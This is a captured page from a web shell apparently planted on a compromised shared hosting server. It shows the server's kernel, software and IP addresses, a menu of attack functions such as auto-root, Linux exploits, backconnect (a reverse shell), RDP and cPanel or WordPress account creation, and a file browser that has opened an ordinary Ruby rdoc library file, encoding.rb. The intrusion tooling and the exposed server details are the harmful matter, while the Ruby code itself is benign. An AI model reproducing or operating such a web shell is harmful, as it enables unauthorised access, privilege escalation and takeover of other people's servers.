Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby24 /
lib64 /
ruby /
2.4.0 /
rdoc /
[ HOME SHELL ]
Name
Size
Permission
Action
context
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
markdown
[ DIR ]
drwxr-xr-x
markup
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
rd
[ DIR ]
drwxr-xr-x
ri
[ DIR ]
drwxr-xr-x
stats
[ DIR ]
drwxr-xr-x
alias.rb
2.12
KB
-rw-r--r--
anon_class.rb
173
B
-rw-r--r--
any_method.rb
7.07
KB
-rw-r--r--
attr.rb
3.76
KB
-rw-r--r--
class_module.rb
19.76
KB
-rw-r--r--
code_object.rb
9.35
KB
-rw-r--r--
code_objects.rb
152
B
-rw-r--r--
comment.rb
5.29
KB
-rw-r--r--
constant.rb
3.58
KB
-rw-r--r--
context.rb
28.8
KB
-rw-r--r--
cross_reference.rb
5.85
KB
-rw-r--r--
encoding.rb
2.99
KB
-rw-r--r--
erb_partial.rb
401
B
-rw-r--r--
erbio.rb
825
B
-rw-r--r--
extend.rb
171
B
-rw-r--r--
generator.rb
1.79
KB
-rw-r--r--
ghost_method.rb
145
B
-rw-r--r--
i18n.rb
182
B
-rw-r--r--
include.rb
173
B
-rw-r--r--
known_classes.rb
2.62
KB
-rw-r--r--
markdown.rb
373.6
KB
-rw-r--r--
markup.rb
28.27
KB
-rw-r--r--
meta_method.rb
130
B
-rw-r--r--
method_attr.rb
9.04
KB
-rw-r--r--
mixin.rb
2.75
KB
-rw-r--r--
normal_class.rb
2.13
KB
-rw-r--r--
normal_module.rb
1.43
KB
-rw-r--r--
options.rb
30.34
KB
-rw-r--r--
parser.rb
7.8
KB
-rw-r--r--
rd.rb
3.57
KB
-rw-r--r--
rdoc.rb
13.39
KB
-rw-r--r--
require.rb
966
B
-rw-r--r--
ri.rb
346
B
-rw-r--r--
ruby_lex.rb
27.47
KB
-rw-r--r--
ruby_token.rb
11.35
KB
-rw-r--r--
rubygems_hook.rb
5.14
KB
-rw-r--r--
servlet.rb
11.9
KB
-rw-r--r--
single_class.rb
409
B
-rw-r--r--
stats.rb
10.48
KB
-rw-r--r--
store.rb
21.94
KB
-rw-r--r--
task.rb
7.67
KB
-rw-r--r--
test_case.rb
3.78
KB
-rw-r--r--
text.rb
7.34
KB
-rw-r--r--
token_stream.rb
2.5
KB
-rw-r--r--
tom_doc.rb
6.29
KB
-rw-r--r--
top_level.rb
5.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : encoding.rb
# coding: US-ASCII # frozen_string_literal: false ## # This class is a wrapper around File IO and Encoding that helps RDoc load # files and convert them to the correct encoding. module RDoc::Encoding ## # Reads the contents of +filename+ and handles any encoding directives in # the file. # # The content will be converted to the +encoding+. If the file cannot be # converted a warning will be printed and nil will be returned. # # If +force_transcode+ is true the document will be transcoded and any # unknown character in the target encoding will be replaced with '?' def self.read_file filename, encoding, force_transcode = false content = open filename, "rb" do |f| f.read end content.gsub!("\r\n", "\n") if RUBY_PLATFORM =~ /mswin|mingw/ utf8 = content.sub!(/\A\xef\xbb\xbf/, '') RDoc::Encoding.set_encoding content begin encoding ||= Encoding.default_external orig_encoding = content.encoding if not orig_encoding.ascii_compatible? then content.encode! encoding elsif utf8 then content.force_encoding Encoding::UTF_8 content.encode! encoding else # assume the content is in our output encoding content.force_encoding encoding end unless content.valid_encoding? then # revert and try to transcode content.force_encoding orig_encoding content.encode! encoding end unless content.valid_encoding? then warn "unable to convert #{filename} to #{encoding}, skipping" content = nil end rescue Encoding::InvalidByteSequenceError, Encoding::UndefinedConversionError => e if force_transcode then content.force_encoding orig_encoding content.encode!(encoding, :invalid => :replace, :undef => :replace, :replace => '?') return content else warn "unable to convert #{e.message} for #{filename}, skipping" return nil end end content rescue ArgumentError => e raise unless e.message =~ /unknown encoding name - (.*)/ warn "unknown encoding name \"#{$1}\" for #{filename}, skipping" nil rescue Errno::EISDIR, Errno::ENOENT nil end def self.remove_frozen_string_literal string string =~ /\A(?:#!.*\n)?(.*\n)/ first_line = $1 if first_line =~ /\A# +frozen[-_]string[-_]literal[=:].+$/i string.sub! first_line, '' end end ## # Sets the encoding of +string+ based on the magic comment def self.set_encoding string remove_frozen_string_literal string string =~ /\A(?:#!.*\n)?(.*\n)/ first_line = $1 name = case first_line when /^<\?xml[^?]*encoding=(["'])(.*?)\1/ then $2 when /\b(?:en)?coding[=:]\s*([^\s;]+)/i then $1 else return end string.sub! first_line, '' remove_frozen_string_literal string enc = Encoding.find name string.force_encoding enc if enc end end
Close